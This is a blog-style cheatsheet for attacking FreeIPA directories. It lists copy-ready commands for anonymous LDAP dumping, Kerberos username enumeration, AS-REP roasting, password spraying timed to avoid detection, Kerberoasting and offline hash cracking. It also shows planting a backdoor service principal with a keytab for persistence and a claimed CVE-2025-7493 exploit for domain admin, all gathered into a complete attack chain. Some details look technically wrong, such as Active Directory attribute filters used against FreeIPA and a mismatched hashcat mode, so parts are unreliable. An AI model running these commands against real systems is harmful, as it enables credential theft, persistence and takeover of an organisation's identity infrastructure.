FreeIPA LDAP Enumeration: Commands and Security Cheatsheet
Updated on January 21, 2026
Table of Contents
- 1. Privileged Accounts & Groups
- 2. SUDO Rules (Critical for Privilege Escalation)
- 3. HBAC Policies (Access Control Rules)
- 4. Hosts & Services
- 5. SSH Public Keys (Lateral Movement)
- 6. Password & Kerberos Policies
- 7. Certificate Authority & Profiles
- 8. DNS Records
- 9. Active Directory Trusts
- 10. Topology & Replication
- 11. Automation & Vaults
- 12. Kerberos Attack Vectors (Port 88)
- 13. Automated Full Dump
- 14. Post-Extraction Analysis
Understanding FreeIPA LDAP enumeration is critical for both penetration testers and system administrators to identify severe security misconfigurations.

Priority 1: Privileged Accounts & Groups
Identifying administrative groups is the first step in mapping the privilege hierarchy within a FreeIPA environment.
# 1. Dump all groups with memberships (identify admin groups)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=groups,cn=accounts,dc=corp,dc=com" "(objectClass=posixGroup)" cn gidNumber member memberUid description > groups.ldif
# 2. Find admin-level accounts (admins group)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=admins,cn=groups,cn=accounts,dc=corp,dc=com" "(objectClass=*)" member memberUid
# 3. Extract trust admins (if AD trust exists)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=trust admins,cn=groups,cn=accounts,dc=corp,dc=com" "(objectClass=*)" member
# 4. Enumerate users with elevated privileges
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(memberOf=cn=admins,cn=groups,cn=accounts,dc=corp,dc=com)" uid uidNumber memberOf
MITRE ATT&CK: T1069.002 (Permission Groups Discovery: Domain Groups)
Priority 2: SUDO Rules (Critical for Privilege Escalation)
Leveraging FreeIPA LDAP enumeration to find SUDO rules often reveals direct paths to root access on enrolled hosts.
# 5. Extract ALL sudo rules
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=sudorules,cn=sudo,dc=corp,dc=com" "(objectClass=ipaSudoRule)" cn ipaEnabledFlag memberHost memberUser sudoCommand sudoRunAsUser sudoRunAsGroup sudoOption > sudo_rules.ldif
# 6. Find wildcard sudo rules (ALL commands)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=sudorules,cn=sudo,dc=corp,dc=com" "(sudoCommand=*ALL*)" cn memberHost memberUser
# 7. Identify NOPASSWD sudo rules (instant privilege escalation)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=sudorules,cn=sudo,dc=corp,dc=com" "(sudoOption=*NOPASSWD*)" cn memberHost memberUser sudoCommand
MITRE ATT&CK: T1548.003 (Abuse Elevation Control Mechanism: Sudo and Sudo Caching)
Priority 3: HBAC Policies (Access Control Rules)
Host-Based Access Control (HBAC) defines which users can access specific services on specific hosts.
# 8. Dump all Host-Based Access Control rules
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=hbac,dc=corp,dc=com" "(objectClass=ipaHBACRule)" cn ipaEnabledFlag memberUser memberHost memberService serviceCategory hostCategory userCategory > hbac_rules.ldif
# 9. Find permissive HBAC rules (allow all users/hosts)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=hbac,dc=corp,dc=com" "(&(objectClass=ipaHBACRule)(|(userCategory=all)(hostCategory=all)))" cn memberService
# 10. Extract HBAC services (SSH, login, gdm, etc.)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=hbacservices,cn=hbac,dc=corp,dc=com" "(objectClass=ipaHBACService)" cn description
MITRE ATT&CK: T1078.002 (Valid Accounts: Domain Accounts)
Priority 4: Hosts & Services
Enumerating hosts and service principals helps identify targets for lateral movement and Kerberoasting.
# 11. Enumerate all enrolled hosts (servers/workstations)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=computers,cn=accounts,dc=corp,dc=com" "(objectClass=ipaHost)" fqdn description macAddress managedBy enrolledBy ipaClientVersion > hosts.ldif
# 12. Extract service principals (Kerberos services - Kerberoasting targets)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=services,cn=accounts,dc=corp,dc=com" "(krbPrincipalName=*)" krbPrincipalName krbCanonicalName managedBy description > services.ldif
# 13. Find HTTP service principals (web applications)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=services,cn=accounts,dc=corp,dc=com" "(krbPrincipalName=HTTP/*)" krbPrincipalName managedBy
# 14. Dump hostgroups (server groupings)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=hostgroups,cn=accounts,dc=corp,dc=com" "(objectClass=ipaHostGroup)" cn member memberHost description
MITRE ATT&CK: T1087.002 (Account Discovery: Domain Account), T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting)
Priority 5: SSH Public Keys (Lateral Movement)
Public keys stored in LDAP can be used to identify users who likely have active SSH access across the domain.
# 15. Extract SSH public keys from all user accounts
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(ipaSSHPubKey=*)" uid ipaSSHPubKey mail > ssh_keys.ldif
# 16. Parse and save SSH keys for offline analysis
grep -A 1 "ipaSSHPubKey:" ssh_keys.ldif | grep -v "^--$" | sed 'N;s/\n/ /' > extracted_ssh_keys.txt
MITRE ATT&CK: T1552.004 (Unsecured Credentials: Private Keys)
Priority 6: Password & Kerberos Policies
Analyzing policies allows attackers to understand lockout thresholds and identify AS-REP Roastable accounts.
# 17. Extract password policies (lockout thresholds, complexity)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=global_policy,cn=corp.COM,cn=kerberos,dc=corp,dc=com" "(objectClass=*)" krbMaxPwdLife krbMinPwdLife krbPwdMinLength krbPwdHistoryLength krbMaxFailedLoginAttempts krbLoginFailedCountInterval
# 18. Find users with non-expiring passwords
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(krbPasswordExpiration=*)" uid krbPasswordExpiration krbLastPwdChange
# 19. Identify accounts with Kerberos pre-auth disabled (ASREPRoastable)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" uid krbPrincipalName
MITRE ATT&CK: T1201 (Password Policy Discovery), T1558.004 (AS-REP Roasting)
Priority 7: Certificate Authority & Profiles
The Certificate Authority (CA) in FreeIPA is a high-value target for persistent domain-wide compromise.
# 20. Enumerate certificate profiles
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=certprofiles,cn=ca,dc=corp,dc=com" "(objectClass=ipaCertProfile)" cn description ipaCertProfileStoreIssued > cert_profiles.ldif
# 21. Extract CA configuration
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=ipa,cn=etc,dc=corp,dc=com" "(objectClass=ipaCa)" cn ipaCaSubjectDN ipaCaIssuerDN
# 22. Find certificate mapping rules
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=certmapdata,cn=etc,dc=corp,dc=com" "(objectClass=*)"
MITRE ATT&CK: T1649 (Steal or Forge Authentication Certificates)
Priority 8: DNS Records (If Integrated)
Integrated DNS records provide a full map of the network topology and service locations.
# 23. Extract DNS zones
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=dns,dc=corp,dc=com" "(objectClass=idnsZone)" idnsName idnsZoneActive idnsSOAminimum idnsAllowSyncPTR > dns_zones.ldif
# 24. Dump all DNS A records
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "idnsName=corp.com,cn=dns,dc=corp,dc=com" "(aRecord=*)" idnsName aRecord
# 25. Extract DNS SRV records (service discovery)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "idnsName=corp.com,cn=dns,dc=corp,dc=com" "(sRVRecord=*)" idnsName sRVRecord
MITRE ATT&CK: T1590.002 (Gather Victim Network Information: DNS)
Priority 9: Active Directory Trusts (If Configured)
Trusts often allow for cross-forest lateral movement from FreeIPA into a Windows AD environment.
# 26. Check for AD trust configurations
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=ad,cn=trusts,dc=corp,dc=com" "(objectClass=ipaNTTrustedDomain)" cn ipaNTTrustPartner ipaNTTrustType ipaNTTrustDirection ipaNTTrustAttributes
# 27. Extract domain trust information
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=trusts,dc=corp,dc=com" "(objectClass=ipaNTTrustedDomain)" ipaNTFlatName ipaNTTrustedDomainSID
MITRE ATT&CK: T1482 (Domain Trust Discovery)
Priority 10: Topology & Replication
Understanding the replication topology helps identify other FreeIPA masters that might be vulnerable.
# 28. Enumerate FreeIPA replicas (identify other servers)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=masters,cn=ipa,cn=etc,dc=corp,dc=com" "(objectClass=*)" cn ipaConfigString
# 29. Extract replication agreements
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=topology,cn=ipa,cn=etc,dc=corp,dc=com" "(objectClass=ipaReplTopoManagedServer)" ipaReplTopoManagedSuffix
# 30. Find all FreeIPA configuration
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=etc,dc=corp,dc=com" "(objectClass=*)" > ipa_config_full.ldif
Priority 11: Automation & Vaults
Automation accounts often have broad permissions, making them ideal targets for exploitation.
# 31. Check for stored secrets/vaults (may be restricted)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=vaults,cn=kra,dc=corp,dc=com" "(objectClass=ipaVault)" cn description
# 32. Enumerate automation/service users (machine accounts)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(&(objectClass=posixAccount)(!(loginShell=/bin/bash)))" uid description
# 33. Extract user authentication indicators (2FA status)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(objectClass=posixAccount)" uid ipaUserAuthType krbPrincipalAuthInd
Priority 12: Kerberos Attack Vectors (Port 88)
Since you already have anonymous LDAP access, you can extract valid usernames to feed into Kerberos attacks. This creates a powerful attack chain involving Priority 12 attack vectors.
Target: ipa-server.com | Realm: corp.COM
Vector 1: Username Enumeration (No Credentials Required)
Kerberos returns different error codes for valid vs. invalid usernames, enabling pre-authentication enumeration:
# 1. Using kerbrute (fastest, most efficient)
kerbrute userenum -d ipa-server.com --dc ipa-server.com usernames.txt
# 2. Using extracted LDAP usernames (combine your intelligence)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(objectClass=posixAccount)" uid | grep "^uid:" | awk '{print $2}' > valid_users.txt
# Verify these users via Kerberos
kerbrute userenum -d ipa-server.com --dc ipa-server.com valid_users.txt
# 3. Using Nmap NSE script
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='corp.COM',userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt ipa-server.com
# 4. Using impacket GetNPUsers (also checks for ASREPRoastable accounts)
impacket-GetNPUsers -dc-ip ipa-server.com corp.com/ -usersfile valid_users.txt -no-pass
Error Code Analysis:
KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN= Invalid usernameKRB5KDC_ERR_PREAUTH_REQUIRED= Valid username, requires pre-auth (normal)- No error + AS-REP returned = ASREPRoastable account (JACKPOT!)
MITRE ATT&CK: T1589.003 (Gather Victim Identity Information: Employee Names)
Vector 2: ASREPRoasting (No Credentials Required)
Extract TGT hashes for accounts with Kerberos pre-authentication disabled:
# 5. ASREPRoast all discovered users
impacket-GetNPUsers -dc-ip ipa-server.com corp.com/ -usersfile valid_users.txt -format hashcat -outputfile asrep_hashes.txt
# 6. Target specific high-value accounts extracted from LDAP
impacket-GetNPUsers -dc-ip ipa-server.com corp.com/admin -no-pass -format hashcat
# 7. Crack captured AS-REP hashes offline
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force
# 8. John the Ripper alternative
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
Why This Works: FreeIPA allows you to query LDAP anonymously to find which users have `krbPrincipalAuthInd` attributes that indicate no pre-auth required:
# Identify ASREPRoastable accounts via LDAP first
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(&(objectClass=posixAccount)(!(userAccountControl:1.2.840.113556.1.4.803:=4194304)))" uid krbPrincipalName
MITRE ATT&CK: T1558.004 (Steal or Forge Kerberos Tickets: AS-REP Roasting)
Vector 3: Password Spraying via Kerberos
Test common passwords against valid usernames without triggering account lockouts. Kerberos spraying is stealthier as it generates Event ID 4768 (TGT Request) instead of the noisy 4625 (Failed Logon).
# 9. Password spray with kerbrute (bypasses NTLM lockout policies)
kerbrute passwordspray -d ipa-server.com --dc ipa-server.com valid_users.txt 'Welcome2025!'
# 10. Test multiple passwords (delay between attempts)
for pass in 'Password123!' 'Summer2025' 'server@2025' 'Winter2025!'; do
echo "[*] Testing password: $pass"
kerbrute passwordspray -d ipa-server.com --dc ipa-server.com valid_users.txt "$pass"
sleep 300 # 5-minute delay to avoid detection
done
# 11. Target service accounts (often have weak passwords)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(description=*service*)" uid | grep "^uid:" | awk '{print $2}' > service_accounts.txt
kerbrute passwordspray -d ipa-server.com --dc ipa-server.com service_accounts.txt 'Service123'
# 12. Test against admin accounts
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=admins,cn=groups,cn=accounts,dc=corp,dc=com" "(objectClass=*)" memberUid | grep "memberUid:" | awk '{print $2}' > admin_users.txt
kerbrute passwordspray -d ipa-server.com --dc ipa-server.com admin_users.txt 'Admin@2025'
MITRE ATT&CK: T1110.003 (Brute Force: Password Spraying)
Vector 4: Kerberoasting (Requires Valid Credentials)
Once you compromise any account (from password spray or ASREPRoast), extract service principal hashes:
# 13. Extract service principals from LDAP first
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=services,cn=accounts,dc=corp,dc=com" "(krbPrincipalName=*)" krbPrincipalName | grep "krbPrincipalName:" | awk '{print $2}' > spn_targets.txt
# 14. Request TGS tickets for all SPNs (requires authentication)
impacket-GetUserSPNs -dc-ip ipa-server.com corp.com/compromised_user:'P@ssword123' -request -outputfile tgs_hashes.txt
# 15. Targeted Kerberoasting for specific services
impacket-GetUserSPNs -dc-ip ipa-server.com corp.com/compromised_user:'P@ssword123' -request-user HTTP/app-server.corp.com
# 16. Crack TGS hashes offline
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt --force
# 17. Use extracted usernames to target specific accounts
cat spn_targets.txt | while read spn; do
echo "[*] Requesting TGS for $spn"
impacket-GetUserSPNs -dc-ip ipa-server.com corp.com/compromised_user:'P@ssword123' -request-user "$spn"
done
MITRE ATT&CK: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting)
Vector 5: CVE-2024-37370 - MIT Kerberos GSS Token Manipulation
Vulnerability: MIT Kerberos allows attackers to truncate GSS wrap tokens, bypassing message integrity checks in applications relying on Kerberos authentication.
# 18. If you capture Kerberos tickets, modify Extra Count field
# This requires traffic interception (MitM position)
# Tool: krb5_gss_wrap_token_manipulator.py (custom development needed)
# Capture Kerberos traffic
tcpdump -i eth0 -w kerberos.pcap 'port 88'
# Extract and analyze GSS tokens
tshark -r kerberos.pcap -Y "kerberos" -T fields -e kerberos.cipher
# Modify plaintext Extra Count to truncate application data
# (Requires custom exploit development targeting CVE-2024-37370)
Vector 6: Timing-Based Attacks
Use timing differences to validate usernames or identify lockout thresholds.
# 19. Username validation via timing differences
for user in admin administrator root backup; do
echo "[*] Testing: $user"
time echo "test123" | kinit $user@corp.COM 2>&1
done
# Valid usernames take longer to respond (pre-auth processing)
# Invalid usernames fail immediately
# 20. Password policy extraction via brute-force analysis
# Test multiple failed attempts to identify lockout threshold
seq 1 10 | while read attempt; do
echo "Attempt $attempt"
echo "WrongPass$attempt" | kinit testuser@corp.COM 2>&1
sleep 2
done
MITRE ATT&CK: T1201 (Password Policy Discovery)
Vector 7: Kerberos Principal Manipulation (Post-Compromise)
Once you have credentials, exploit FreeIPA-specific Kerberos features. This includes leveraging CVE-2025-7493 for domain admin escalation.
# 21. After compromise, create malicious service principals
kinit compromised_user@corp.COM
# Add backdoor service principal
ipa service-add HTTP/backdoor.corp.com --force
# 22. Request keytab for persistence
ipa-getkeytab -s ipa-server.com -p HTTP/backdoor.corp.com@corp.COM -k /tmp/backdoor.keytab
# Authenticate without password
kinit -kt /tmp/backdoor.keytab HTTP/backdoor.corp.com@corp.COM
# 23. Exploit CVE-2025-7493 via Kerberos (domain admin escalation)
ldapmodify -Y GSSAPI -H ldaps://ipa-server.com:636 <<EOF
dn: krbprincipalname=HTTP/backdoor.corp.com@corp.COM,cn=services,cn=accounts,dc=corp,dc=com
changetype: modify
add: krbCanonicalName
krbCanonicalName: root@corp.COM
EOF
# Request TGT as root (instant domain admin)
kinit root@corp.COM
MITRE ATT&CK: T1550.003 (Use Alternate Authentication Material: Pass the Ticket)
Vector 8: Offline Ticket Cracking (CVE-2024-3183)
FreeIPA 4.6.x is vulnerable to mass ticket harvesting for offline cracking.
# 24. After compromising any account, request tickets for all users
kinit compromised_user@corp.COM
# Extract all usernames from LDAP
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(objectClass=posixAccount)" krbPrincipalName | grep "krbPrincipalName:" | awk '{print $2}' > all_principals.txt
# Request TGS for every user (encrypted with their password)
cat all_principals.txt | while read principal; do
kvno "$principal" 2>/dev/null
done
# Export ticket cache
cp /tmp/krb5cc_* tickets/
# Convert and crack
kirbi2john.py tickets/* > ticket_hashes.txt
hashcat -m 18200 ticket_hashes.txt /usr/share/wordlists/rockyou.txt
Complete Attack Chain Summary
# PHASE 1: Reconnaissance (No Authentication)
# Extract usernames from LDAP
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=users,cn=accounts,dc=corp,dc=com" "(objectClass=posixAccount)" uid mail | tee users.txt
# PHASE 2: ASREPRoasting (No Authentication)
impacket-GetNPUsers -dc-ip ipa-server.com corp.com/ -usersfile users.txt -format hashcat -outputfile asrep.hash
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --force
# PHASE 3: Password Spraying (No Authentication)
kerbrute passwordspray -d ipa-server.com --dc ipa-server.com users.txt 'Welcome2025!'
# PHASE 4: Kerberoasting (Requires Compromised Account)
impacket-GetUserSPNs -dc-ip ipa-server.com corp.com/pwned_user:'Cracked_Pass' -request -outputfile tgs.hash
hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt
# PHASE 5: Privilege Escalation (CVE-2025-7493)
kinit pwned_user@corp.COM
# Execute canonical name poisoning attack (see Vector 7)
# Result: Domain Admin access
13. Automated Full Dump
A full dump is often the most efficient way to capture the entire state of the LDAP directory for offline analysis.
# 34. Complete anonymous dump (everything accessible)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "dc=corp,dc=com" -s sub "(objectClass=*)" > freeipa_complete_dump.ldif
# 35. Compatibility tree (legacy flat file data)
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://ipa-server.com:636 -b "cn=compat,dc=corp,dc=com" "(objectClass=*)" > compat_tree.ldif
14. Post-Extraction Analysis
Once data is extracted, parsing it for keywords like "root" or "admin" reveals the most critical vulnerabilities immediately.
# Parse extracted data for actionable intelligence
grep -i "admin\|root\|privileged" groups.ldif
grep "NOPASSWD" sudo_rules.ldif
grep "krbPrincipalName: HTTP/" services.ldif | cut -d' ' -f2 > kerberoast_targets.txt
awk '/^uid:/ {user=$2} /^mail:/ {print user, $2}' users.ldif > user_emails.txt
Enjoyed this guide? Share your thoughts below and tell us how you leverage FreeIPA LDAP Enumeration in your projects!

No comments:
Post a Comment